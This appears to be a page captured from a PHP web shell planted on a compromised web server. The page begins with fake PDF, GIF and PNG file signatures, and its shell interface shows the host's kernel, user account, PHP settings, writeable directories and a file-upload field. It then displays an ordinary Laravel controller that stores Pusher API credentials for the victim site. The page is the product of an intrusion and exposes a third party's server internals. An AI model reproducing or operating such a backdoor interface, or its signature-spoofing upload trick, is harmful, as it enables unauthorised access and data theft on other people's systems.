%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/app/Http/Controllers/PusherSettingsController.php
<?php

namespace App\Http\Controllers;

use App\Helper\Reply;
use App\Http\Requests\PusherSetting\UpdateRequest;
use App\Models\PusherSetting;
use App\Traits\pusherConfigTrait;
use Pusher\Pusher;

class PusherSettingsController extends AccountBaseController
{

    use pusherConfigTrait;

    public function __construct()
    {
        parent::__construct();
        $this->pageTitle = 'app.menu.pusherSettings';
        $this->pageIcon = 'icon-settings';
        $this->middleware(function ($request, $next) {
            abort_403(user()->permission('manage_notification_setting') !== 'all');

            return $next($request);
        });
    }

    // phpcs:ignore
    public function update(UpdateRequest $request, $id)
    {
        if ($request->status == 'active') {
            $checkPusher = new Pusher(
                $request->pusher_app_key,
                $request->pusher_app_secret,
                $request->pusher_app_id,
                [
                    'cluster' => $request->pusher_cluster,
                    'useTLS' => $request->force_tls
                ]
            );
    
            try {
                $checkPusher->trigger('test-pusher-channel', 'test-pusher-message', ['message' => 'done']);
            } catch(\Exception $e) {
                return Reply::dataOnly(['error' => $e->getMessage()]);
            }
        }

        $pusher = pusher_settings();
        $pusher->pusher_app_id = $request->pusher_app_id;
        $pusher->pusher_app_key = $request->pusher_app_key;
        $pusher->pusher_app_secret = $request->pusher_app_secret;
        $pusher->pusher_cluster = $request->pusher_cluster;
        $pusher->force_tls = $request->force_tls;
        $pusher->status = $request->status == 'active' ? 1 : 0;
        $pusher->taskboard = $request->taskboard ? 1 : 0;
        $pusher->messages = $request->messages ? 1 : 0;
        $pusher->save();

        session(['pusher_settings' => PusherSetting::first()]);

        return Reply::successWithData(__('messages.updateSuccess'), ['status' => $pusher->status]);
    }

}

VaKeR 2022